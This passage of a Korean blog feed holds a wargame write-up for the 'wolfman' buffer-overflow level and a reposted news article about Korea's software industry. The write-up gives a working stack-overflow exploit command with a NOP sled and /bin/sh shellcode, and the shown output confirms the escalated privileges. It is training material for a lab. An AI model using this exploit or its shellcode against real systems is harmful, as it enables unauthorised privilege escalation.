&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - wolfman&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - egghunter + buffer hunter&lt;/div&gt;
&lt;div&gt;
*/&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
extern char **environ;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char buffer[40];&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int i;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argc &amp;lt; 2){&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argv error\n&quot;);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // egghunter&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i=0; environ[i]; i++)&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(environ[i], 0, strlen(environ[i]));&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argv[1][47] != &#039;\xbf&#039;)&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;stack is still your friend.\n&quot;);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // buffer hunter&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(buffer, 0, 40); // buffer 부분을 40바이트까지 0 으로 채워버립니다. - http://itguru.tistory.com/104&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
# 이번 문제에서는 40바이트를 0 으로 덮어 쉘코드를 못 쓰게 할 작정이다.&lt;/div&gt;
&lt;div&gt;
# 4바이트 쉘코드는 없으니깐 ?!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
다른건 오크문제와 똑같지만 한 부분만 다릅니다. &amp;nbsp;memset(buffer, 0, 40); &amp;nbsp;그러나 어려울건 없습니다.&lt;/div&gt;
&lt;div&gt;
메모리부분을 그냥 정해진 문자로 채우는 역할을 합니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
예를 들어 10개의 buffer 있다고 치고 A 를 모두 입력해줬습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
AAAAAAAAAA, 이렇게 되는데 만약 다음과 같은 소스가 있다면 memset(buffer, B, 6); 6바이트까지 B 로 채웁니다.&lt;/div&gt;
&lt;div&gt;
BBBBBBAAA, 이렇게 됩니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
한 마디로 그냥 메모리 부분을 채울뿐 어떤 심각한 영향을 미칠만한 역할을 하지 않는다 이겁니다.&lt;/div&gt;
&lt;div&gt;
고로 오크떄 날려주었던 스크립트를 똑같이 날려줘봅시다.&lt;/div&gt;
&lt;div&gt;
물론 주소값 차이가 심할수도 있지만 NOP 를 30000개나 넣어주었기에 바로 될거라고 생각됩니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[orc@localhost orc]$ bash2&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[orc@localhost orc]$ ./wolfman `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\x2e\x87\xff\xbf&quot;&#039;` `python -c &#039;print &quot;\x90&quot;*30000 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;&#039;`&lt;/div&gt;
&lt;div&gt;
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿.‡ÿ¿&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
bash$ id&lt;/div&gt;
&lt;div&gt;
uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
bash$ my-pass&lt;/div&gt;
&lt;div&gt;
euid = 505&lt;/div&gt;
&lt;div&gt;
[ 패스워드 ]&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
공격에 성공하였습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-553-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-553-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-553-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19713943&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/553</guid>
			<comments>http://iyounges.org/553#entry553comment</comments>
			<pubDate>Fri, 19 Aug 2011 21:35:33 +0900</pubDate>
		</item>
		<item>
			<title>[위기의 한국 SW 산업] 명문대 나와도 SW개발자는 시간급 인생…&quot;장가가기도 힘들어&quot;</title>
			<link>http://iyounges.org/552</link>
			<description>&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 굴림, Gulim, 돋움, Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 23px; &quot;&gt;&lt;h3 style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 14px; text-align: left; color: rgb(93, 93, 93); line-height: 22px; font-family: 돋움, Dotum, 굴림, Gulim, AppleGothic, sans-serif; &quot;&gt;&lt;span style=&quot;font-size: 10pt; font-weight: normal;&quot;&gt;&lt;br /&gt;
원본링크 :&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://news.chosun.com/site/data/html_dir/2011/08/19/2011081900309.html&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-weight: normal;&quot;&gt;http://news.chosun.com/site/data/html_dir/2011/08/19/2011081900309.html&lt;br /&gt;
&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
-------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;한국에 애플·구글이 없는 이유… 젊은 층의 소프트웨어 외면 가속화&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;배우는 학생이 없다 - 90년대 초엔 의대보다 인기, 요즘은 충원 걱정할 정도&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;정부·기업의 푸대접 - SW 개발을 단순 노동 취급… 투자 안하고 베껴쓰기 선호&lt;/h3&gt;1991학년도 대입 학력고사 전국 수석은&amp;nbsp;&lt;a href=&quot;http://focus.chosun.com/region/regionView.jsp?id=286&quot; name=&quot;focus_link&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;전남&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;http://focus.chosun.com/region/regionView.jsp?id=336&quot; name=&quot;focus_link&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;목포&lt;/a&gt;&amp;nbsp;덕인고 출신인 한모(37)씨였다. 그가 지원한 곳은 의예과도, 전기공학과도 아닌&amp;nbsp;&lt;a href=&quot;http://focus.chosun.com/school/schView.jsp?id=409&quot; name=&quot;focus_link&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;서울대&lt;/a&gt;&amp;nbsp;컴퓨터공학과였다. 1980년대 후반부터 1990년대 중반까지 컴퓨터공학과는 최고 인기 학과였다. 대성학원이 만든 &#039;1993학년도 학력고사 점수별 대학 입학 배치 기준표&#039;를 보면 알 수 있다. 이과 계열 제일 윗줄에는 서울대 컴퓨터공학과와 물리학과 등 2개 과가 있고, 그 밑으로 전기·전자·제어공학과군, 의예과, 기계공학과가 자리를 잡고 있다.&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;문송천&amp;nbsp;&lt;a href=&quot;http://focus.chosun.com/school/schView.jsp?id=157&quot; name=&quot;focus_link&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;KAIST&lt;/a&gt;&amp;nbsp;교수는 &quot;1980년대에서 1990년대 초반까지만 해도 &#039;제2의&amp;nbsp;&lt;a href=&quot;http://focus.chosun.com/people/peopleView.jsp?id=1084&quot; name=&quot;focus_link&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;빌 게이츠&lt;/a&gt;&#039;를 꿈꾸며 세계적인 소프트웨어를 개발하기 위해 컴퓨터공학과로 몰려드는 학생이 많았다&quot;고 말했다. 지금의&amp;nbsp;&lt;a href=&quot;http://focus.chosun.com/com/comView.jsp?id=436&quot; name=&quot;focus_link&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;NHN&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;http://focus.chosun.com/com/comView.jsp?id=2773&quot; name=&quot;focus_link&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;넥슨&lt;/a&gt;을 만든&amp;nbsp;&lt;a href=&quot;http://focus.chosun.com/people/peopleView.jsp?id=8005&quot; name=&quot;focus_link&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;이해진&lt;/a&gt;&amp;nbsp;의장,&amp;nbsp;&lt;a href=&quot;http://focus.chosun.com/people/peopleView.jsp?id=9257&quot; name=&quot;focus_link&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;김정주&lt;/a&gt;&amp;nbsp;회장이 바로 그런 꿈을 안고 서울대 컴퓨터공학과로 들어갔던 이들이다.&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;지금은 어떨까. 대성학원이 지난해 만든 &#039;2011학년도의 대입 지원 가능 대학·학과 참조 자료&#039;의 이과계열 제일 위칸에는 서울대 의예과가 있다. 그 밑으로 서울과 지방 대학의 모든 의예과와 한의예과, 치의예과들이 자리 잡고 있다. 그 밑에는 서울대 화학·생물·재료·건축·기계공학·수학과 등이 나오고, 다시 그 밑에야 비로소 전기·컴퓨터공학부가 등장한다.&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;◆&lt;b style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;망가진 소프트웨어 인재 양성 시스템&lt;/b&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;15~20년 사이 도대체 무슨 일이 있었기에 소프트웨어 산업의 산실(産室)이 이처럼 몰락했을까. 한국에서 소프트웨어 분야로 진출해서는 미래가 보이지 않기 때문이다.&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;황모(33)씨는 컴퓨터공학 석사를 마치고 2년간 소프트웨어 개발회사에 다니다 퇴직하고 지난해 법학전문대학원(로스쿨)에 입학했다. 그는 &quot;선배들을 보니 이 바닥에 계속 있다가는 장가도 못 갈 것 같아서 그만두었다&quot;고 말했다. 밤 12시, 새벽 1~2시까지 밥 먹듯 야근하는 선배들의 연봉이 3000만원이 채 되지 않더라는 것이다.&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;이러다 보니 컴퓨터공학과를 선택했던 학생들도 중간에 다른 길로 빠지거나 아예 한국을 떠나는 경우가 적지 않다. KAIST 출신 박모(34)씨가 그렇다. 박씨는 대학원 시절에는 유명 학술지에 논문을 여러 편 쓸 정도로 실력을 인정받았다. 대기업 계열 SI업체에 들어간 그는 4년 전 회사를 퇴직하고 미국 실리콘밸리로 떠났다. 박씨는 &quot;참신한 소프트웨어 아이디어를 내봤지만 조금도 받아들여지지 않고 기존 프로그램 유지 보수만 시키는 데 좌절했다&quot;고 말했다.&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;div class=&quot;center_img&quot; style=&quot;margin-top: 0px; margin-right: auto; margin-bottom: 23px; margin-left: auto; padding-top: 10px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; clear: both; float: none; width: 590px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(213, 213, 213); border-right-color: rgb(213, 213, 213); border-bottom-color: rgb(213, 213, 213); border-left-color: rgb(213, 213, 213); &quot;&gt;
&lt;dl style=&quot;margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; text-align: center; width: 480px; &quot;&gt;&lt;dd style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; &quot;&gt;&lt;a href=&quot;http://inside.chosun.com/site/data/html_dir/2011/08/19/2011081900676.html&quot; target=&quot;&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;&lt;img id=&quot;artImg1&quot; src=&quot;http://image.chosun.com/sitedata/image/201108/19/2011081900205_0.jpg&quot; width=&quot;480&quot; height=&quot;651&quot; alt=&quot;&quot; style=&quot;margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-color: initial; border-color: initial; border-color: initial; border-style: initial; border-color: initial; vertical-align: top; &quot;&gt;&lt;/a&gt;&lt;/dd&gt;&lt;dt style=&quot;margin-top: 6px; margin-right: 0px; margin-bottom: 0px; margin-left: 5px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; color: rgb(117, 117, 117); font-size: 11px; line-height: 16px; text-align: left; font-family: 돋움, Dotum, 굴림, Gulim, AppleGothic, sans-serif; &quot;&gt;&lt;span style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 11px; color: rgb(51, 51, 51); &quot;&gt;▲&lt;/span&gt;&amp;nbsp;이미지를 클릭하시면 스냅샷으로 크게 볼 수 있습니다. / 조선닷컴&amp;nbsp;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;세계 최대 소셜네트워킹서비스 페이스북의 창업자 마크 저커버그는 중학교 시절 프로그램을 만들기 시작했으며 하버드대학에서 컴퓨터공학을 전공한 인물이다. /AFP&lt;/dt&gt;&lt;/dl&gt;&lt;/div&gt;
◆&lt;b style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;소프트웨어 개발을 일당제 노동자로 대접&lt;/b&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;IT업계에서는 우수 인재들의 소프트웨어 푸대접 구조를 만든 것은 정부의 소프트웨어 개발비 산정 방식이라고 입을 모은다. 정부는 소프트웨어 기술자의 등급을 실력과는 무관하게 학력과 연차에 따라서 매긴다. 개발 업무를 발주하면 연차에 따라 시간급에 차등을 주어 지급한다. 건설업계의 노무 인력에 적용하는 방식과 유사하다. 개발 업체는 고급 개발자는 시급 단가가 비싸기 때문에 중급 개발자로 대체하기 일쑤다. 그러다 보니 실력을 쌓은 고급 개발자는 개발에 참여하지 못하고 매니저로 승급하거나 현장을 떠나는 경우가 대부분이다.&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;KTH 박태웅 부사장은 &quot;혁신적인 소프트웨어를 만들 수 있는 사람과 시킨 일만 하는 평범한 사람이 똑같은 대접을 받는데 어떤 천재가 이 업계로 들어오겠느냐&quot;고 했다.&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;소프트웨어 분야에서 인수·합병(M&amp;amp;A)이 거의 없고, 대기업들이 소프트웨어를 푸대접하는 것도 문제다. 세계 최대의 동영상 서비스 유튜브, 스마트폰 운영체제 안드로이드 창업자는 모두 구글에 인수되면서 돈방석에 올랐다. 그런 소프트웨어 창업의 &#039;대박 신화&#039;가 미국의 젊은 인재들을 계속 소프트웨어 창업에 뛰어들게 만들고 있다.&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;국내 소프트웨어 업계에서는 중소 소프트웨어 업체가 그럴듯한 소프트웨어를 만들어 시장에 내놓으면 M&amp;amp;A는커녕 얼마 지나지 않아 거의 똑같은 소프트웨어를 대기업이 내놓는 사례가 비일비재하다. 해당 소프트웨어 업체는 고사할 수밖에 없다. 그러니 소프트웨어 분야로 뛰어들어 도전하려는 젊은이가 드물다.&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;a href=&quot;http://focus.chosun.com/people/peopleView.jsp?id=500&quot; name=&quot;focus_link&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(53, 96, 167); text-decoration: underline; line-height: 23px; &quot;&gt;안철수&lt;/a&gt;&amp;nbsp;서울대 융합과학기술대학원장은 &quot;소프트웨어 분야는 실력이 뛰어난 2~3명이 책상 하나로도 창업할 수 있다&quot;며 &quot;우리도 성공한 소프트웨어 기업에 대해 정당한 대가를 주고 인수하는 M&amp;amp;A 문화가 활성화돼야 뛰어난 인재들이 소프트웨어 산업에 몰릴 수 있다&quot;고 말했다.&lt;/span&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-552-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-552-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-552-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
